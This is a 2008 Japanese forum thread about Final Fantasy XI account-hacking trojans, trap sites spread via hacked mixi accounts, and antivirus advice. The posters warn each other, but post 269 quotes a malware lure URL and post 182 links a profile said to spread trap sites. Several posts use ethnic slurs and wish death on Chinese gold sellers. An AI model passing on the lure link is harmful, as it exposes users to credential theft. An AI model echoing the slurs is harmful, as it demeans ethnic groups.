「蛇頭」メンバーの３０代の男が全体を統括し、指示を出していた。
http://www.jiji.com/jc/c?g=soc_30&k=2008012800253
中国に２４億送金、１５人逮捕＝全国展開の地下銀行摘発－警視庁など
中国への送金を無許可で請け負う「地下銀行」を全国規模で営業したとして、
警視庁と宮城、神奈川、宮崎各県警の合同捜査本部は２８日までに銀行法違反（無許可営業）などの疑いで、
中国人と日本人の男女１５人を逮捕した。
全国にいる中国人に口コミで広まり、２００２年７月からの５年余で、不法滞在者ら延べ４１８０人が利用し、
約２４億円を中国にいる家族らに送金。組織は手数料１％を取って約２４００万円を得ていた。
中国福建省にいる密航あっせん組織
「蛇頭」メンバーの３０代の男が全体を統括し、指示を出していた。
http://www.jiji.com/jc/c?g=soc_30&k=2008012800253
181 ：既にその名前は使われています：2008/01/28(月) 23:38:29.93 ID:Q1eqtqwX
外貨準備高世界1の国だから氷山の一角なんだろうなあ。
182 ：既にその名前は使われています：2008/01/29(火) 00:48:23.69 ID:hOUmwIxP
mixiの垢もハックされてコミュに罠サイトのURL張られてる
http://m.mixi.jp/show_friend.pl?&id=13967357
現在 狩人、侍、ホモ鯖コミュにて確認
【気をつけてください】
http://m.mixi.jp/show_friend.pl?&id=13967357
現在 狩人、侍、ホモ鯖コミュにて確認
【気をつけてください】
183 ：既にその名前は使われています：2008/01/29(火) 01:09:48.11 ID:olmmC+8p
firefoxはだいじょうぶ？
184 ：既にその名前は使われています：2008/01/29(火) 01:40:34.43 ID:HbeTVobr
>>183
なにが？
なにが？
185 ：既にその名前は使われています：2008/01/29(火) 02:47:36.75 ID:3b+PuHrw
おやすみほっしゅ
186 ：既にその名前は使われています：2008/01/29(火) 05:26:37.47 ID:BWIZvWDD
>>183
どんなブラウザであれ、踏んだら終わりと言う心構えの方がいいよ。
どんなブラウザであれ、踏んだら終わりと言う心構えの方がいいよ。
187 ：既にその名前は使われています：2008/01/29(火) 06:18:39.11 ID:OgN8G1gf
なお、これまでに弊社よりお客様のプレイオンラインIDおよびプレイオンラインパスワードが第三者に渡ったという事実は一切ございません。
188 ：既にその名前は使われています：2008/01/29(火) 06:33:30.45 ID:dlWIUx3H
mixiで業者が暴れまくってるな。
怪しいリンクは絶対踏んじゃダメ
怪しいリンクは絶対踏んじゃダメ
189 ：既にその名前は使われています：2008/01/29(火) 06:49:26.12 ID:FPSie0H1
190 ：既にその名前は使われています：2008/01/29(火) 06:57:40.03 ID:nWjRRsMz
北海道かどこかのスーパーみたいに言われるままに金払えよ( ^ω^)
191 ：既にその名前は使われています：2008/01/29(火) 07:06:04.31 ID:5AbgywVR
公式に記載しているけど
FF11垢ハックはユーザーの不注意が発端です
FF11垢ハックはユーザーの不注意が発端です
192 ：既にその名前は使われています：2008/01/29(火) 08:14:55.16 ID:qLL1rgH7
とりあえず冗談で言っていたアイテム保険会社制度作って欲しいのと
もっとセキュアなシステム導入して欲しいね、有料で良いから。
もっとセキュアなシステム導入して欲しいね、有料で良いから。
193 ：既にその名前は使われています：2008/01/29(火) 09:13:34.67 ID:jfRNzunq
906 ：名無しさん＠ＨＯＭＥ：2008/01/29(火) 07:02:03 0
私は某ネトゲ運営の統括マネージャーやってます。
はっきり言って、依存症の人は運営にとっても迷惑ですよ。
ＲＭＴやチートをされたらたまりませんし、２ｃｈで運営貶しの嫌がらせは日常茶飯事。ユーザーの過剰接続によりサーバーがパンクして非難ごうごうになったこともあった。
ネトゲに依存しまくって、あげくに家庭崩壊でも起こされた日には業界全体が悪者扱い。強烈な依存症による家庭無関心もそうです。 この業界で働いてくれている人がすごい迷惑してます。
いいですか？
ハッキリ言ってネトゲは依存するようにできてます。
息抜きで楽しめるようにはしていません。
こっちはネトゲの開発にかかった費用数千万を回収しなければならないし、その上、人件費や運営費、広告費、アップデートに伴うコストなど毎月稼がなくてはならない。サーバーの維持費用もあります。
お客様には現実逃避できる環境を提供しているだけです。徹底的に依存して頂いています。適当に運営して、月に２，３回新しいアイテムを追加すればすぐ馬鹿みたいに客は食いつきます。
あと、依存度を高めるための期間イベントやってます。たいていどこでも。
適度に息抜きできると信じて楽しむのは勝手ですが、のめり込むだけです。
あと、依存しているユーザーを酒のつまみにしています。こんなの常識。
何度もいいます。ネトゲを適度に楽しむ、という概念は捨ててください。
絶対に適度に楽しめません。適度なところでやめられないように運営してますから。
あくまで、現実逃避をしにきてください。そうでない方はこないでください。
私は某ネトゲ運営の統括マネージャーやってます。
はっきり言って、依存症の人は運営にとっても迷惑ですよ。
ＲＭＴやチートをされたらたまりませんし、２ｃｈで運営貶しの嫌がらせは日常茶飯事。ユーザーの過剰接続によりサーバーがパンクして非難ごうごうになったこともあった。
ネトゲに依存しまくって、あげくに家庭崩壊でも起こされた日には業界全体が悪者扱い。強烈な依存症による家庭無関心もそうです。 この業界で働いてくれている人がすごい迷惑してます。
いいですか？
ハッキリ言ってネトゲは依存するようにできてます。
息抜きで楽しめるようにはしていません。
こっちはネトゲの開発にかかった費用数千万を回収しなければならないし、その上、人件費や運営費、広告費、アップデートに伴うコストなど毎月稼がなくてはならない。サーバーの維持費用もあります。
お客様には現実逃避できる環境を提供しているだけです。徹底的に依存して頂いています。適当に運営して、月に２，３回新しいアイテムを追加すればすぐ馬鹿みたいに客は食いつきます。
あと、依存度を高めるための期間イベントやってます。たいていどこでも。
適度に息抜きできると信じて楽しむのは勝手ですが、のめり込むだけです。
あと、依存しているユーザーを酒のつまみにしています。こんなの常識。
何度もいいます。ネトゲを適度に楽しむ、という概念は捨ててください。
絶対に適度に楽しめません。適度なところでやめられないように運営してますから。
あくまで、現実逃避をしにきてください。そうでない方はこないでください。
194 ：既にその名前は使われています：2008/01/29(火) 09:38:25.59 ID:Nj3qGCgO
>175-177
完美は漏れ垢持ってるわ
9ヶ月1INしてないがパス変更しておいた
完美のセキュリティー
ログインパスは保存できない
パス打ち込み画面にソフトウェアキーボード搭載
金庫にパスワード設定できる
アイテムを任意でエクレア化できる
こんな感じだったかと
完美は漏れ垢持ってるわ
9ヶ月1INしてないがパス変更しておいた
完美のセキュリティー
ログインパスは保存できない
パス打ち込み画面にソフトウェアキーボード搭載
金庫にパスワード設定できる
アイテムを任意でエクレア化できる
こんな感じだったかと
195 ：既にその名前は使われています：2008/01/29(火) 12:14:17.26 ID:DhPqUaDF
保守age
196 ：既にその名前は使われています：2008/01/29(火) 15:04:54.10 ID:jfRNzunq
保守
197 ：既にその名前は使われています：2008/01/29(火) 16:24:03.43 ID:cz808flt
>>191
なんでもかんでも ユーザーが慣れてない。 ユーザーが悪い。 ってスタンスなのは異常だよな。
用意周到な犯罪集団が盗難車両でATMまるごともっていってもそのATMの管理が悪かったようにしか見えないんだろうな。
なんでもかんでも ユーザーが慣れてない。 ユーザーが悪い。 ってスタンスなのは異常だよな。
用意周到な犯罪集団が盗難車両でATMまるごともっていってもそのATMの管理が悪かったようにしか見えないんだろうな。
198 ：既にその名前は使われています：2008/01/29(火) 16:56:01.58 ID:JjyhZ5ZJ
>>193
当たり前の考えだな、気楽に楽しんでもらいたいと思ってたなら今のFF11にならなかったわけだし
ただ依存症のプレイヤーの中にまじってる業者について一言もふれてないから脳内統括マネージャーだろうけど
当たり前の考えだな、気楽に楽しんでもらいたいと思ってたなら今のFF11にならなかったわけだし
ただ依存症のプレイヤーの中にまじってる業者について一言もふれてないから脳内統括マネージャーだろうけど
199 ：既にその名前は使われています：2008/01/29(火) 17:08:18.28 ID:WIYfklV9
俺も今、垢ハックされて丸裸にされてたよ；；
取り合えず、警察に行く所からかなー
これって何日位かかるんかな、、、
取り合えず、警察に行く所からかなー
これって何日位かかるんかな、、、
200 ：既にその名前は使われています：2008/01/29(火) 17:29:12.99 ID:cz808flt
スクエニが通信記録出さないから永遠
201 ：既にその名前は使われています：2008/01/29(火) 19:25:24.87 ID:0WJZZ3+e
>>199
何日かかるとかそういう問題じゃなく、現状の救済ポリシーでは事実盗難に対して救済出来ない。
ただ、ついこの間の1/24日にSTT報告内において直接的な救済策を検討中であるような報告があったのは知ってるだろか。
まずはこのスレの中だけでも最初から見直してみる事を進める。被害にあってからの対処方法などがテンプレに書いてある。
そしてまず君がしなくちゃいけないのは、PCをまっさらな状態に戻す事。再発行後にまた盗まれるのはバカ以外のなんでもない。
ちなみに「被害にあったよ；；」だけじゃなく状況を書いていって欲しい。
Windowsのアップデートはきちんと行われていたのか？（OSの種類とサービスパックの適用具合も。）
何らかのアンチウィルスソフトはインストールされており、監視状況にあったのか？
インターネットのブラウザは何を使用しているのか？
どこでどんな罠を踏んだかを自分で認識できているのか？
何日かかるとかそういう問題じゃなく、現状の救済ポリシーでは事実盗難に対して救済出来ない。
ただ、ついこの間の1/24日にSTT報告内において直接的な救済策を検討中であるような報告があったのは知ってるだろか。
まずはこのスレの中だけでも最初から見直してみる事を進める。被害にあってからの対処方法などがテンプレに書いてある。
そしてまず君がしなくちゃいけないのは、PCをまっさらな状態に戻す事。再発行後にまた盗まれるのはバカ以外のなんでもない。
ちなみに「被害にあったよ；；」だけじゃなく状況を書いていって欲しい。
Windowsのアップデートはきちんと行われていたのか？（OSの種類とサービスパックの適用具合も。）
何らかのアンチウィルスソフトはインストールされており、監視状況にあったのか？
インターネットのブラウザは何を使用しているのか？
どこでどんな罠を踏んだかを自分で認識できているのか？
202 ：既にその名前は使われています：2008/01/29(火) 19:35:08.17 ID:HbeTVobr
203 ：既にその名前は使われています：2008/01/29(火) 19:56:01.38 ID:qLL1rgH7
204 ：既にその名前は使われています：2008/01/29(火) 21:18:38.42 ID:kuc6QmA4
>>203
それはナイスアイデアだね！
それはナイスアイデアだね！
205 ：既にその名前は使われています：2008/01/29(火) 23:05:15.08 ID:AT7DC9T6
保守
206 ：既にその名前は使われています：2008/01/29(火) 23:11:29.55 ID:4qAj0bkf
mixiのKujataコミュにも罠サイトアドレスが張られてた
トピ立てて張ってたヤツが別鯖だったからおかしいと思ったんだよ
これもやっぱmixi垢をﾊｯｸされてるんだろうかね
トピ立てて張ってたヤツが別鯖だったからおかしいと思ったんだよ
これもやっぱmixi垢をﾊｯｸされてるんだろうかね
207 ：既にその名前は使われています：2008/01/29(火) 23:24:53.01 ID:OgN8G1gf
>>109
オマイ結構暇な時間ある人？
NO→END
YES→次へ進む
１）POLGMに報告・サポートに電話・警察へ報告
２）ウェブマネー以外ならウェブマネー課金にする
３）同じPCで（間違えて）罠サイト踏む
４）垢ハック被害に遭う
５）１へ戻る
これを繰り返し、新たな遊びとして楽しむ。
スクウェアエニックスにセキュリティの重要性を考えさせるきっかけが作れるかもしれません。
可能ならば、それ以外にPS2で新たなアカウントを取得しFF11で遊ぶ。
オマイ結構暇な時間ある人？
NO→END
YES→次へ進む
１）POLGMに報告・サポートに電話・警察へ報告
２）ウェブマネー以外ならウェブマネー課金にする
３）同じPCで（間違えて）罠サイト踏む
４）垢ハック被害に遭う
５）１へ戻る
これを繰り返し、新たな遊びとして楽しむ。
スクウェアエニックスにセキュリティの重要性を考えさせるきっかけが作れるかもしれません。
可能ならば、それ以外にPS2で新たなアカウントを取得しFF11で遊ぶ。
208 ：既にその名前は使われています：2008/01/30(水) 01:07:39.15 ID:C2JZTxtb
>>199
人によるから一概に言えないけど、俺の場合
警察にIPやら提出してから犯罪性認定→鯖移動＆倉庫キャラ削除が救済して貰えたのが、約一ヶ月。
アイテム救済（エクレア等）は１ヵ月半立ってるけど、進展ないので不明
人によるから一概に言えないけど、俺の場合
警察にIPやら提出してから犯罪性認定→鯖移動＆倉庫キャラ削除が救済して貰えたのが、約一ヶ月。
アイテム救済（エクレア等）は１ヵ月半立ってるけど、進展ないので不明
209 ：既にその名前は使われています：2008/01/30(水) 02:29:20.55 ID:zLJHqm+m
ほっしゅ
210 ：既にその名前は使われています：2008/01/30(水) 04:33:25.33 ID:S2KOmRhi
あげるぜよ
211 ：既にその名前は使われています：2008/01/30(水) 07:55:36.14 ID:86DCp2FL
>>206
mixi垢売りとかいくらで招待メール送るとかオクとか行けばごろごろしてる
mixi垢売りとかいくらで招待メール送るとかオクとか行けばごろごろしてる
212 ：既にその名前は使われています：2008/01/30(水) 08:03:05.32 ID:EZBvi7gD
ちょっと質問デュアルブートでFFいれてないほうのOSでネットみまくっても感染したりします？
213 ：既にその名前は使われています：2008/01/30(水) 08:07:10.50 ID:UCdhke6W
ネット見るほうのパーティションからFF用のパーティションにアクセスできるなら
感染できないわけがないんで、後は物によるんじゃね?
感染できないわけがないんで、後は物によるんじゃね?
214 ：既にその名前は使われています：2008/01/30(水) 09:17:44.78 ID:Y1sTswVJ
>>212
OSによるんじゃね？
MacとかUNIX系なら、今ばらまかれてるワームには感染しないと思うが、
Windowsなら、アンチウィルス等で対応してなきゃ感染する。
あと、感染しても、ネット用でPOLパスワードを入れることがなければ
POLに関しての被害は受けないかもな。
ただし、POL以外の（例えばクレカとか）被害は受けるかも。
OSによるんじゃね？
MacとかUNIX系なら、今ばらまかれてるワームには感染しないと思うが、
Windowsなら、アンチウィルス等で対応してなきゃ感染する。
あと、感染しても、ネット用でPOLパスワードを入れることがなければ
POLに関しての被害は受けないかもな。
ただし、POL以外の（例えばクレカとか）被害は受けるかも。
215 ：既にその名前は使われています：2008/01/30(水) 09:46:01.62 ID:EZBvi7gD
216 ：既にその名前は使われています：2008/01/30(水) 10:00:37.34 ID:5ODF5lTE
217 ：既にその名前は使われています：2008/01/30(水) 10:03:41.95 ID:5ODF5lTE
ちなみに。
自分のPCもアンチウィルスソフト入れてるけど
毎日チェックして、毎日感染してる。
アンチウィルス入れたからって安心って訳じゃない。
今どのHPで感染してるのか確認中。
FFAHあたりが臭うんだけど。
自分のPCもアンチウィルスソフト入れてるけど
毎日チェックして、毎日感染してる。
アンチウィルス入れたからって安心って訳じゃない。
今どのHPで感染してるのか確認中。
FFAHあたりが臭うんだけど。
218 ：既にその名前は使われています：2008/01/30(水) 10:11:04.09 ID:xKZ+InwE
最近mixiの掲示板で貼られてる例のサイト、
FireFoxで見てしまったんだが大丈夫かな？
怪しいと思ってソースみると、
0 day attack とか IE とか書いてあったんだけど、
Windows も Firefox も最新版使ってるし大丈夫？
FireFoxで見てしまったんだが大丈夫かな？
怪しいと思ってソースみると、
0 day attack とか IE とか書いてあったんだけど、
Windows も Firefox も最新版使ってるし大丈夫？
レスしてくれた方、ありがとうございます ＰＣの方は全部消して
ＯＳの再インストールしておきました どこで、どんな罠踏んだのか
ちょっと解らないです 何時も見てるＦＦのサイトがバリスタの日程調べる
サイトだけなので、、、 一度言われた通りテンプレ見てから警察に電話したので
お昼にでも、打ち合わせしてきます
一度、テンプレ見ないで不正アクセスについての相談って事で警察に電話したら
軽く流されたので、これから被害にあった人は注意して電話した方がいいかも
ＯＳの再インストールしておきました どこで、どんな罠踏んだのか
ちょっと解らないです 何時も見てるＦＦのサイトがバリスタの日程調べる
サイトだけなので、、、 一度言われた通りテンプレ見てから警察に電話したので
お昼にでも、打ち合わせしてきます
一度、テンプレ見ないで不正アクセスについての相談って事で警察に電話したら
軽く流されたので、これから被害にあった人は注意して電話した方がいいかも
220 ：既にその名前は使われています：2008/01/30(水) 10:16:48.24 ID:+ZO4NoT1
>毎日チェックして、毎日感染してる。
それって、凄すぎない？
ウィルスソフトは何つかってるの？
それって、凄すぎない？
ウィルスソフトは何つかってるの？
221 ：既にその名前は使われています：2008/01/30(水) 10:21:04.61 ID:5ODF5lTE
>>220
ウィルスバスター
ウィルスバスター
222 ：既にその名前は使われています：2008/01/30(水) 10:24:19.44 ID:+ZO4NoT1
>199 へ質問
セキュリティ対策はしてましたか？
アンチウィルスソフトは何を使っていましたか？
セキュリティ対策はしてましたか？
アンチウィルスソフトは何を使っていましたか？
223 ：220：2008/01/30(水) 10:29:48.46 ID:+ZO4NoT1
221さん 情報ありがとう
224 ：既にその名前は使われています：2008/01/30(水) 10:37:05.01 ID:C+FEVAks
225 ：既にその名前は使われています：2008/01/30(水) 10:37:20.44 ID:5ODF5lTE
以下のサイトを閲覧するとなんかのスパイウェアに感染するみたいです。
ttp://www.ffxiah.com/
ちなみにCookie_YieldMnager
Cookie_RealMedia
Cookie_Profiling
っていうスパイウェアがウィルスバスターで検出されます。
ttp://www.ffxiah.com/
ちなみにCookie_YieldMnager
Cookie_RealMedia
Cookie_Profiling
っていうスパイウェアがウィルスバスターで検出されます。
226 ：既にその名前は使われています：2008/01/30(水) 10:39:30.23 ID:5ODF5lTE
227 ：既にその名前は使われています：2008/01/30(水) 10:40:35.38 ID:+ZO4NoT1
クッキー追跡ソフトとかいうやつかな？
228 ：既にその名前は使われています：2008/01/30(水) 10:41:10.76 ID:C+FEVAks
＾＾；
229 ：既にその名前は使われています：2008/01/30(水) 11:02:09.78 ID:lKekVQ4Q
Cookie関連スパイウェアで気になる人は一応目を通しておくべし。
簡単にいえば、セキュリティソフト会社の戦略に乗せられている。
http://takagi-hiromitsu.jp/diary/20060311.html
http://takagi-hiromitsu.jp/diary/20070114.html
簡単にいえば、セキュリティソフト会社の戦略に乗せられている。
http://takagi-hiromitsu.jp/diary/20060311.html
http://takagi-hiromitsu.jp/diary/20070114.html
230 ：既にその名前は使われています：2008/01/30(水) 11:10:20.21 ID:5ODF5lTE
231 ：既にその名前は使われています：2008/01/30(水) 11:48:02.91 ID:+ZO4NoT1
ウィルスバスター 入ってて、FFAH見た後に
ちゃんと検出、削除してくれるなら問題ないのでは？
ちゃんと検出、削除してくれるなら問題ないのでは？
232 ：既にその名前は使われています：2008/01/30(水) 11:58:07.74 ID:i9KWi9gh
ウイルスバスターはあんまり信用しないほうがいいぞ。
常に最新定義保ってるのについ一昨日バックドア型の
トロイの亜種バージョン検知出来なかったしなー。
トロイに対抗するならカスペルスキーとかのほうがいいお。
常に最新定義保ってるのについ一昨日バックドア型の
トロイの亜種バージョン検知出来なかったしなー。
トロイに対抗するならカスペルスキーとかのほうがいいお。
233 ：既にその名前は使われています：2008/01/30(水) 12:02:55.42 ID:i9KWi9gh
そういやノートン入れててもアカハックされたって書いてあったブログも
あったな。その後ノートンで調べても何も無かったけどマカフィーで
調べたらＦＦのアカハック用のトロイが見つかったそうだ。
心配な人は複数のサイトのオンラインスキャン試したほうがいいかもしれんね。
あったな。その後ノートンで調べても何も無かったけどマカフィーで
調べたらＦＦのアカハック用のトロイが見つかったそうだ。
心配な人は複数のサイトのオンラインスキャン試したほうがいいかもしれんね。
234 ：既にその名前は使われています：2008/01/30(水) 12:10:15.09 ID:i9KWi9gh
まとめサイト見てると今の時点で発見されてるアカハックトロイに
共通してるのはexplorerf.exeってファイルがウィンドウズのシステム
フォルダ内に作られるって所だな。このファイルは何なんかね。
共通してるのはexplorerf.exeってファイルがウィンドウズのシステム
フォルダ内に作られるって所だな。このファイルは何なんかね。
235 ：既にその名前は使われています：2008/01/30(水) 12:19:42.64 ID:KCzq1nh4
236 ：既にその名前は使われています：2008/01/30(水) 12:46:20.29 ID:CCcbFGG7
キーロガーだね。
237 ：既にその名前は使われています：2008/01/30(水) 16:18:53.77 ID:rhQBSBDP
あげとく
238 ：既にその名前は使われています：2008/01/30(水) 17:23:25.96 ID:Ur7kXKL0
「あなたの身近なセキュリティ」：第1回：「安全にインターネットを使うため」には何を行なえばよいだろうか？
ttp://internet.watch.impress.co.jp/cda/midika/2008/01/30/18272.html
インプレスでこんな連載が始まりましたよと
ttp://internet.watch.impress.co.jp/cda/midika/2008/01/30/18272.html
インプレスでこんな連載が始まりましたよと
239 ：既にその名前は使われています：2008/01/30(水) 17:48:50.36 ID:8f8Ux0ha
>>230
クッキー追跡ソフトって
どのサイトを閲覧したか履歴を集めるソフトですな。
自分のIPの履歴がリサーチ会社に知られたとて何の問題も無いのだから、
アルカイダとかの犯罪組織サイトへ
頻繁に出入りしてるとかでないなら何の問題も無い。
ちなみによくスパイウェア検出されるDouble Click社なんかGoogleの傘下企業だぞ。
クッキー追跡ソフトって
どのサイトを閲覧したか履歴を集めるソフトですな。
自分のIPの履歴がリサーチ会社に知られたとて何の問題も無いのだから、
アルカイダとかの犯罪組織サイトへ
頻繁に出入りしてるとかでないなら何の問題も無い。
ちなみによくスパイウェア検出されるDouble Click社なんかGoogleの傘下企業だぞ。
240 ：既にその名前は使われています：2008/01/30(水) 18:12:11.96 ID:+ZO4NoT1
>自分のIPの履歴がリサーチ会社に知られたとて何の問題も無いのだから
知られたら、いんろんな意味で恥ずかしい履歴ですｗ
知られたら、いんろんな意味で恥ずかしい履歴ですｗ
241 ：既にその名前は使われています：2008/01/30(水) 18:16:05.95 ID:8f8Ux0ha
>>240
エロサイト覗いてない男がいるとでも思ってんの？
それにIP見られてもそっから先(本名や住所)は知られることは無い。
239で犯罪組織云々と書いたのは、公安が絡むとそっから先(本名や住所)が
知られてしまうということ。
エロサイト覗いてない男がいるとでも思ってんの？
それにIP見られてもそっから先(本名や住所)は知られることは無い。
239で犯罪組織云々と書いたのは、公安が絡むとそっから先(本名や住所)が
知られてしまうということ。
242 ：既にその名前は使われています：2008/01/30(水) 19:27:39.85 ID:+ZO4NoT1
自分、女ですｗ
・・・被害にあってる人達って、
怪しいサイト言ってない、思い当たるﾄｺﾛ無いって言ってるけど
エロサイト経由でなんか貰ってきてるのかも
・・・被害にあってる人達って、
怪しいサイト言ってない、思い当たるﾄｺﾛ無いって言ってるけど
エロサイト経由でなんか貰ってきてるのかも
243 ：既にその名前は使われています：2008/01/30(水) 20:40:13.23 ID:kSO7/8b/
中華のWiki改竄もいよいよ秒単位になってきたので気をつけてくれよな!!!
画面に出ていたライブドアWiki新着記事から改竄最終更新の順にWikiユーザー名伏せていくつか。
08.01.30 18:09 ウィキ記事 MenuBar1
最終更新 2008年01月30日(水) 19:25:03 Modified by meer_gurni
08.01.30 18:08 ウィキ記事 MenuBar1
最終更新 2008年01月30日(水) 19:24:56 Modified by meer_gurni
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IDとっかえひっかえ改竄して履歴から戻すことを不可能にしている。
FC2使われたらフィルタリングしようもないだろうし
これだけやってもID削除しないとかもうダメダメ運営だわさ。
画面に出ていたライブドアWiki新着記事から改竄最終更新の順にWikiユーザー名伏せていくつか。
08.01.30 18:09 ウィキ記事 MenuBar1
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IDとっかえひっかえ改竄して履歴から戻すことを不可能にしている。
FC2使われたらフィルタリングしようもないだろうし
これだけやってもID削除しないとかもうダメダメ運営だわさ。
244 ：既にその名前は使われています：2008/01/30(水) 20:42:08.48 ID:lek4TEL/
>>242
ハッキングされた事が分からない様にしているから表面上は怪しくない事もあると思うよ。
ハッキングされた事が分からない様にしているから表面上は怪しくない事もあると思うよ。
245 ：既にその名前は使われています：2008/01/30(水) 21:09:50.59 ID:gzjT+P5W
246 ：既にその名前は使われています：2008/01/30(水) 21:11:13.35 ID:Y1sTswVJ
>>245
ソースは？
ソースは？
247 ：既にその名前は使われています：2008/01/30(水) 21:40:24.41 ID:OBTd93b/
248 ：既にその名前は使われています：2008/01/30(水) 21:50:11.13 ID:C2JZTxtb
249 ：既にその名前は使われています：2008/01/30(水) 22:41:13.77 ID:v7Oumv+4
被害者をBANするべきとか被害者はツーラーだとかいう話を広めて
得するのは誰だろうね
得するのは誰だろうね
250 ：既にその名前は使われています：2008/01/30(水) 23:14:52.97 ID:lek4TEL/
>>249
被害者をライバル視していた廃人とかネカマの取り巻きとか？
被害者をライバル視していた廃人とかネカマの取り巻きとか？
251 ：既にその名前は使われています：2008/01/30(水) 23:17:11.66 ID:2ZOSB6by
誰とわ言わんがチョンニダって相手の印象を悪くして自分の立場有利にするの得意だよね。自分が切磋琢磨するんじゃなくて相手を陥れるそんな所がシビレルゥ
ところで業者さん。ドッグフード売れた？ｗ
ところで業者さん。ドッグフード売れた？ｗ
252 ：既にその名前は使われています：2008/01/30(水) 23:42:39.82 ID:lc0GQrH6
後はゆとり。人気のある所を探しては適当に荒らし回り。
そこで内容関わらずレス着いただけで｢俺は神｣と悦に浸る。
ネ実にはVIPに要られなくなったキチガイ、ゲーム関係気取りのニート、FF狂信者廃腐(婦)の巣窟で、
その中を常に装備売りの業者、奴隷を求めるHNMLSが徘徊、話題を作り続けて、
名前だけで寄ってきた普通の人間を社会復帰不可能なネット中毒に追い込む魔窟になったからな…
そこで内容関わらずレス着いただけで｢俺は神｣と悦に浸る。
ネ実にはVIPに要られなくなったキチガイ、ゲーム関係気取りのニート、FF狂信者廃腐(婦)の巣窟で、
その中を常に装備売りの業者、奴隷を求めるHNMLSが徘徊、話題を作り続けて、
名前だけで寄ってきた普通の人間を社会復帰不可能なネット中毒に追い込む魔窟になったからな…
253 ：既にその名前は使われています：2008/01/31(木) 02:13:45.50 ID:QRam9sws
リネージュ資料室の日記を見たかい？
(資料室)にトロイを仕込む協力者募集云々と言う記事が海外掲示板にあったらしい。
ちょい引用
ーーーーー
いわく「当方、高性能なトロイの木馬を所有。この個人サイト（うちのこと）に侵入してトロイを仕掛けてくれる協力者を募集します。
ゲームのアカウント情報を得て、現金収入にしませんか」。
ーーーーー
何やら中華に狙われてるっぽい、対策サイトだからだな。
皆も気をつけてくれよな！！！
(資料室)にトロイを仕込む協力者募集云々と言う記事が海外掲示板にあったらしい。
ちょい引用
ーーーーー
いわく「当方、高性能なトロイの木馬を所有。この個人サイト（うちのこと）に侵入してトロイを仕掛けてくれる協力者を募集します。
ゲームのアカウント情報を得て、現金収入にしませんか」。
ーーーーー
何やら中華に狙われてるっぽい、対策サイトだからだな。
皆も気をつけてくれよな！！！
254 ：既にその名前は使われています：2008/01/31(木) 02:23:46.65 ID:t+FwIDU5
うほｗ
にわかならともかく、本職に狙われると正直厳しいな。
まとめサイト閲覧すら気をつけないといけない状況か・・・
にわかならともかく、本職に狙われると正直厳しいな。
まとめサイト閲覧すら気をつけないといけない状況か・・・
255 ：既にその名前は使われています：2008/01/31(木) 02:43:17.97 ID:n1sy/sZD
鳥インフルエンザ大流行でシナ業者全滅しねーかな、マジで
256 ：既にその名前は使われています：2008/01/31(木) 02:43:33.38 ID:6vfrmaRE
スクエニにこういう状況だと通達して、「これでも踏んだ方がわるいといえる状況なのか」問いただすべき。
つか、モンク３代目まとめサイトの攻防はアツかった。向こうは仕事だからマメに書き換えてしつこいし。
つか、モンク３代目まとめサイトの攻防はアツかった。向こうは仕事だからマメに書き換えてしつこいし。
257 ：既にその名前は使われています：2008/01/31(木) 03:09:06.40 ID:v31gnD/O
解らんのがFF垢だけを狙ったウイルスがあるのなら、企業として対応するのは当然なのでは？
顧客を保護しない企業はあるまいし
1.垢ハックは100%ユーザー側の責任
2.たとえ対策に乗り出しても敵意あるウイルスからユーザーを守りきることは不可能
3.なら放置
こんな感じ？
顧客を保護しない企業はあるまいし
1.垢ハックは100%ユーザー側の責任
2.たとえ対策に乗り出しても敵意あるウイルスからユーザーを守りきることは不可能
3.なら放置
こんな感じ？
258 ：既にその名前は使われています：2008/01/31(木) 07:10:33.13 ID:D5YTr1kl
1）金を注ぎ込む人
2）たくさんお金を注ぎ込む人
3）中華は上得意のお客様
2）たくさんお金を注ぎ込む人
3）中華は上得意のお客様
259 ：既にその名前は使われています：2008/01/31(木) 07:20:41.83 ID:24bKHGL8
保守
260 ：既にその名前は使われています：2008/01/31(木) 07:40:28.32 ID:fH5kwese
>>257
そのとおり。
Windowsを吹っ飛ばすウイルス(たとえば原田とか)に
Microsoftが対応するわけじゃない。
ま、せいぜいパス抜かれにくい構造にする(抜かれない、というのは無理)くらい。
そのとおり。
Windowsを吹っ飛ばすウイルス(たとえば原田とか)に
Microsoftが対応するわけじゃない。
ま、せいぜいパス抜かれにくい構造にする(抜かれない、というのは無理)くらい。
261 ：既にその名前は使われています：2008/01/31(木) 07:59:38.86 ID:4lrqHwv/
>鳥インフルエンザ大流行でシナ業者全滅しねーかな、マジで
まじ、そう思うわ
まじ、そう思うわ
262 ：既にその名前は使われています：2008/01/31(木) 08:32:20.40 ID:4lrqHwv/
NHKがクローアップ現代で
「オンラインゲーム 広がる仮想世界」（2004年１月20日(火)放送）
で、これからの新産業になるみたいな感じで“あーるえむてー”紹介してから４年
犯罪産業として、立派に成長してますね・・・orz
「オンラインゲーム 広がる仮想世界」（2004年１月20日(火)放送）
で、これからの新産業になるみたいな感じで“あーるえむてー”紹介してから４年
犯罪産業として、立派に成長してますね・・・orz
263 ：既にその名前は使われています：2008/01/31(木) 10:06:51.45 ID:S2tQSKii
出来の悪いファミコン海賊版作ってた時代なんか可愛いもんだな
264 ：既にその名前は使われています：2008/01/31(木) 10:20:18.03 ID:mlissulE
265 ：既にその名前は使われています：2008/01/31(木) 14:12:14.72 ID:4lrqHwv/
落ちそうになってきたのでage
報告が無いのは被害が無いって言うことかな
報告が無いのは被害が無いって言うことかな
266 ：既にその名前は使われています：2008/01/31(木) 14:12:57.56 ID:fH5kwese
報告する気も失せるのかもよ
死人に口なし
死人に口なし
267 ：既にその名前は使われています：2008/01/31(木) 14:50:05.71 ID:vyseIK/h
まあ垢ハック食らってからググってもROのとかwikiの方が先にでるくらいだし
なかなかここまで到達しない可能性もあるな
なかなかここまで到達しない可能性もあるな
268 ：既にその名前は使われています：2008/01/31(木) 15:11:01.34 ID:iyEM32Ob
もうちょっと垢ハックの危険性についてアナウンスした方が良いよな。
現ユーザーでもたかがゲームと考え何も対策して居なさそうだ。
新規ユーザーならなおのことクレカ並にゲームの垢が狙われている事を知らないかもしれない。
現ユーザーでもたかがゲームと考え何も対策して居なさそうだ。
新規ユーザーならなおのことクレカ並にゲームの垢が狙われている事を知らないかもしれない。
269 ：既にその名前は使われています：2008/01/31(木) 16:38:16.71 ID:D+gqqyWu
mixiに張られてた罠コメント
******************************************
FF11/FFXI武器・防具一覧
全ての武器・防具に関する情報を掲載している。
その他、ノートリアスモンスター及び宝箱に関する情報、
魔法のシステムに関する情報などがある
ttp:■www.testinghua.com■ie■ff11.htm
******************************************
こういう状況を知らないと、思わず踏みそうだよな…。
